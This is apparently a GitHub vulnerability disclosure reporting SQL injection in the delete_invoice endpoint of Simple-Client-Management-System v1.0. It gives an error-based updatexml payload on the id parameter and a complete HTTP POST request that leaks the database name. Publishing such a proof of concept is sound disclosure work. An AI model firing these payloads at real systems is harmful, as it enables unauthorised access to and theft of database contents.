

main

...

bug\_report / vendors / oretnom23 / simple-client-management-system / SQLi-4.md



debug601 Create SQLi-4.md

History

1 contributor

29 lines (22 sloc) | 1.17 KB

...

# Simple-Client-Management-System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html>

Vulnerability File: /cms/classes/Master.php?f=delete\_invoice

Vulnerability location: /cms/classes/Master.php?f=delete\_invoice, id

[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /cms/classes/Master.php?f=delete_invoice HTTP/1.1
Host: 192.168.1.19
Content-Length: 65
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/cms/admin/?page=invoice
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
```

Cookie: PHPSESSID=5u3dthml03ajo2g7k8pfvb4g8h

Connection: close

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)---+ // Leak place --->

